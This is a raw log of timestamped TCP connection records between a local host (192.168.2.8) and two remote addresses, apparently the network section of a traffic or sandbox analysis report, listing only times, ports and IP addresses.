Dec 11, 2024 16:28:45.717492104 CET	80	51331	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:45.717592001 CET	51331	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:45.717715979 CET	51331	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:45.803937912 CET	12354	51327	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:45.837429047 CET	80	51331	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:47.311528921 CET	80	51331	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:47.311837912 CET	51331	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:47.314626932 CET	51433	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:47.314656973 CET	443	51433	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:47.314785957 CET	51433	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:47.315587044 CET	51433	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:47.315598011 CET	443	51433	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:47.470974922 CET	12354	51305	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:47.471173048 CET	51305	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:47.471260071 CET	51305	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:47.471626043 CET	51445	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:47.591057062 CET	12354	51305	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:47.591641903 CET	12354	51445	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:47.591728926 CET	51445	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:47.591980934 CET	51445	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:47.711210966 CET	12354	51445	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:47.711282969 CET	51445	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:47.711296082 CET	12354	51445	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:47.711397886 CET	51445	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:47.712008953 CET	51460	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:47.801107883 CET	12354	51327	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:47.801167011 CET	51327	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:47.801323891 CET	51327	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:47.827042103 CET	443	51433	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:47.827116966 CET	51433	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:47.827323914 CET	51433	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:47.827342033 CET	443	51433	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:47.827893019 CET	51467	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:47.827933073 CET	443	51467	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:47.828003883 CET	51467	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:47.828375101 CET	51467	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:47.828387976 CET	443	51467	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:47.830523014 CET	12354	51445	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:47.830610037 CET	12354	51445	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:47.831582069 CET	51468	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:47.831649065 CET	12354	51460	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:47.831701994 CET	51460	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:47.831826925 CET	51460	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:47.920787096 CET	12354	51327	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:47.950768948 CET	12354	51468	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:47.950938940 CET	51468	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:47.951011896 CET	12354	51460	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:47.951076984 CET	12354	51460	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:47.964395046 CET	51468	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:47.964922905 CET	51470	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:48.069149017 CET	443	51467	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:48.070986986 CET	12354	51468	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:48.071048975 CET	51468	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:48.076423883 CET	51477	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:48.076478958 CET	443	51477	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:48.076533079 CET	51468	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:48.076548100 CET	51477	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:48.076878071 CET	51477	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:48.076931000 CET	443	51477	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:48.077210903 CET	51477	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:48.083842039 CET	12354	51468	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:48.084362030 CET	12354	51470	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:48.084525108 CET	51470	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:48.087538004 CET	51479	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:48.087819099 CET	51470	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:48.191015959 CET	12354	51468	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:48.197103024 CET	12354	51468	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:48.202228069 CET	51487	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:48.202325106 CET	51331	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:48.204526901 CET	12354	51470	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:48.204626083 CET	51470	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:48.207422972 CET	12354	51479	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:48.207576036 CET	51479	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:48.207695961 CET	12354	51470	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:48.208549023 CET	51470	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:48.208925009 CET	51489	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:48.209112883 CET	51479	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:48.321655035 CET	80	51487	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:48.321729898 CET	51487	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:48.322674990 CET	80	51331	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:48.323074102 CET	51331	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:48.324183941 CET	12354	51470	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:48.328284979 CET	12354	51470	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:48.328586102 CET	12354	51489	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:48.328648090 CET	51489	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:48.328711987 CET	12354	51479	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:48.362330914 CET	51487	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:48.362464905 CET	51489	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:48.441232920 CET	80	51487	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:48.441351891 CET	51487	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:48.441860914 CET	51487	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:48.482075930 CET	80	51487	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:48.482439041 CET	12354	51489	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:48.551459074 CET	51506	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:48.561115980 CET	80	51487	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:48.561685085 CET	80	51487	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:48.674151897 CET	80	51506	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:48.676211119 CET	51506	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:48.676211119 CET	51506	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:48.795795918 CET	80	51506	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:49.219851017 CET	51479	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:49.219892979 CET	51506	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:49.219912052 CET	51489	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:49.221091032 CET	51547	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:49.341789007 CET	12354	51547	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:49.341871023 CET	51547	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:49.374083996 CET	51547	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:49.379883051 CET	51554	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:49.380779982 CET	51555	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:49.465465069 CET	12354	51547	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:49.465590000 CET	51547	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:49.465590000 CET	51547	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:49.466820955 CET	51561	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:49.497334957 CET	12354	51547	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:49.501004934 CET	12354	51554	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:49.501096010 CET	51554	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:49.501940012 CET	80	51555	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:49.502016068 CET	51555	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:49.511337996 CET	51554	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:49.511564016 CET	51555	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:49.587986946 CET	12354	51547	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:49.588000059 CET	12354	51547	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:49.589376926 CET	12354	51561	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:49.589510918 CET	51561	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:49.589688063 CET	51561	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:49.624018908 CET	80	51555	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:49.624125957 CET	51555	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:49.624197006 CET	51555	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:49.632325888 CET	12354	51554	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:49.632421017 CET	80	51555	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:49.710166931 CET	12354	51561	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:49.742322922 CET	51579	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:49.744704008 CET	80	51555	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:49.744724989 CET	80	51555	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:49.861717939 CET	80	51579	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:49.861812115 CET	51579	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:49.862042904 CET	51579	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:49.981451988 CET	80	51579	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:51.434210062 CET	80	51579	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:51.434267044 CET	51579	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:51.436718941 CET	51680	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:51.436743021 CET	443	51680	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:51.437351942 CET	51680	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:51.437717915 CET	51680	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:51.437730074 CET	443	51680	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:51.615952015 CET	12354	51554	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:51.616044044 CET	51554	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:51.616111994 CET	51554	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:51.616447926 CET	51693	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:51.707099915 CET	12354	51561	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:51.707209110 CET	51561	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:51.717164040 CET	51561	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:51.731581926 CET	51700	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:51.737328053 CET	12354	51554	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:51.737540960 CET	12354	51693	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:51.737636089 CET	51693	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:51.737890959 CET	51693	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:51.837338924 CET	12354	51561	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:51.851362944 CET	12354	51700	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:51.851416111 CET	51700	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:51.857167959 CET	12354	51693	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:51.857351065 CET	12354	51693	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:51.862905979 CET	51700	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:51.863722086 CET	51708	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:51.970921993 CET	12354	51700	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:51.971060038 CET	51700	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:51.972794056 CET	51700	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:51.975411892 CET	51717	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:51.982342958 CET	12354	51700	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:51.982991934 CET	12354	51708	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:51.983062983 CET	51708	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:51.983381987 CET	51708	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:52.091161966 CET	12354	51700	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:52.092274904 CET	12354	51700	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:52.094871044 CET	12354	51717	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:52.094944000 CET	51717	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:52.098862886 CET	51717	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:52.102742910 CET	12354	51708	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:52.103641033 CET	12354	51708	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:52.104260921 CET	51725	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:52.219897985 CET	12354	51717	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:52.219978094 CET	51717	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:52.220329046 CET	51717	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:52.223309994 CET	12354	51717	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:52.228441000 CET	12354	51725	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:52.228641033 CET	51725	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:52.229129076 CET	51725	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:52.229851007 CET	51733	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:52.456197023 CET	12354	51717	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:52.456208944 CET	12354	51717	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:52.456736088 CET	12354	51725	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:52.456825972 CET	12354	51733	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:52.456909895 CET	51733	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:52.457071066 CET	51733	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:52.576790094 CET	12354	51733	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:52.576853991 CET	12354	51733	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:52.576965094 CET	51733	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:52.577330112 CET	51733	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:52.577649117 CET	51753	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:52.696302891 CET	12354	51733	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:52.696624994 CET	12354	51733	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:52.696923018 CET	12354	51753	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:52.697001934 CET	51753	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:52.697659969 CET	51753	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:52.817351103 CET	12354	51753	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:52.817416906 CET	51753	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:52.818080902 CET	12354	51753	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:52.821755886 CET	51753	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:52.822408915 CET	51767	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:52.936849117 CET	12354	51753	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:52.941109896 CET	12354	51753	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:52.941890001 CET	12354	51767	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:52.942070961 CET	51767	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:52.942687035 CET	51767	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:53.063237906 CET	12354	51767	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:53.063308001 CET	51767	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:53.063349962 CET	12354	51767	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:53.080992937 CET	51767	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:53.081480980 CET	51772	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:53.131972075 CET	443	51680	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:53.132061958 CET	51680	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:53.132726908 CET	443	51680	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:53.133039951 CET	51680	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:53.139206886 CET	51680	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:53.139224052 CET	443	51680	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:53.139565945 CET	443	51680	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:53.139624119 CET	51680	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:53.140033007 CET	51680	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:53.182627916 CET	12354	51767	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:53.187334061 CET	443	51680	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:53.201302052 CET	12354	51767	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:53.201314926 CET	12354	51772	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:53.201425076 CET	51772	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:53.204072952 CET	51772	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:53.323940992 CET	12354	51772	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:53.324007988 CET	51772	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:53.324110985 CET	51772	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:53.324485064 CET	51782	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:53.326330900 CET	12354	51772	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:53.380673885 CET	51680	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:53.380932093 CET	51725	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:53.443378925 CET	12354	51772	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:53.443391085 CET	12354	51772	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:53.443738937 CET	12354	51782	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:53.444205046 CET	51782	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:53.477694035 CET	51790	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:53.525751114 CET	51579	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:53.526036024 CET	51794	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:53.526360989 CET	51795	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:53.597626925 CET	12354	51790	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:53.597727060 CET	51790	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:53.598119020 CET	51790	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:53.646383047 CET	80	51579	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:53.646481037 CET	80	51794	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:53.646492958 CET	12354	51795	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:53.646564960 CET	51579	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:53.646611929 CET	51794	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:53.646703005 CET	51795	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:53.646962881 CET	51794	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:53.647087097 CET	51795	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:53.717372894 CET	12354	51790	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:53.719973087 CET	12354	51790	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:53.720047951 CET	51790	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:53.720556021 CET	51790	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:53.720910072 CET	51985	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:53.766294003 CET	80	51794	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:53.766372919 CET	51794	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:53.766392946 CET	80	51794	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:53.766403913 CET	12354	51795	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:53.766961098 CET	51794	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:53.768232107 CET	12354	51795	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:53.832309008 CET	52106	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:53.839559078 CET	12354	51790	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:53.840220928 CET	12354	51790	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:53.840404034 CET	12354	51985	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:53.840487957 CET	51985	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:53.840969086 CET	51985	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:53.882097006 CET	52165	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:53.887365103 CET	80	51794	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:53.888199091 CET	80	51794	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:53.952491045 CET	12354	52106	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:53.952589989 CET	52106	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:53.953169107 CET	52106	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:53.960246086 CET	12354	51985	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:53.960261106 CET	12354	51985	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:53.960444927 CET	51985	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:53.960444927 CET	51985	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:53.960935116 CET	52269	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:54.001773119 CET	80	52165	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:54.001878977 CET	52165	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:54.002532959 CET	52165	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:54.072374105 CET	12354	52106	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:54.072623014 CET	52106	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:54.072685957 CET	12354	52106	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:54.072834969 CET	52106	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:54.079983950 CET	12354	51985	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:54.079994917 CET	12354	51985	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:54.080354929 CET	12354	52269	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:54.080413103 CET	52269	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:54.082346916 CET	52269	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:54.087346077 CET	52409	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:54.122164965 CET	80	52165	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:54.192156076 CET	12354	52106	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:54.192166090 CET	12354	52106	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:54.200166941 CET	12354	52269	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:54.200400114 CET	52269	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:54.200840950 CET	52269	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:54.201181889 CET	52442	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:54.201739073 CET	12354	52269	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:54.207369089 CET	12354	52409	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:54.207644939 CET	52409	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:54.208297968 CET	52409	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:54.326922894 CET	12354	52269	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:54.326934099 CET	12354	52269	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:54.326944113 CET	12354	52442	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:54.327042103 CET	52442	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:54.327372074 CET	12354	52409	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:54.327486038 CET	52409	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:54.327503920 CET	12354	52409	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:54.328233004 CET	52442	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:54.328387022 CET	52409	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:54.329267979 CET	52555	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:54.446777105 CET	12354	52409	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:54.447597980 CET	12354	52442	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:54.447607994 CET	12354	52409	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:54.448700905 CET	12354	52555	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:54.448817015 CET	52555	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:54.449032068 CET	52555	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:54.570354939 CET	12354	52555	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:55.592478037 CET	80	52165	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:55.592541933 CET	52165	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:55.595474958 CET	53605	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:55.595508099 CET	443	53605	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:55.595711946 CET	53605	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:55.596565962 CET	53605	443	192.168.2.8	202.108.0.52
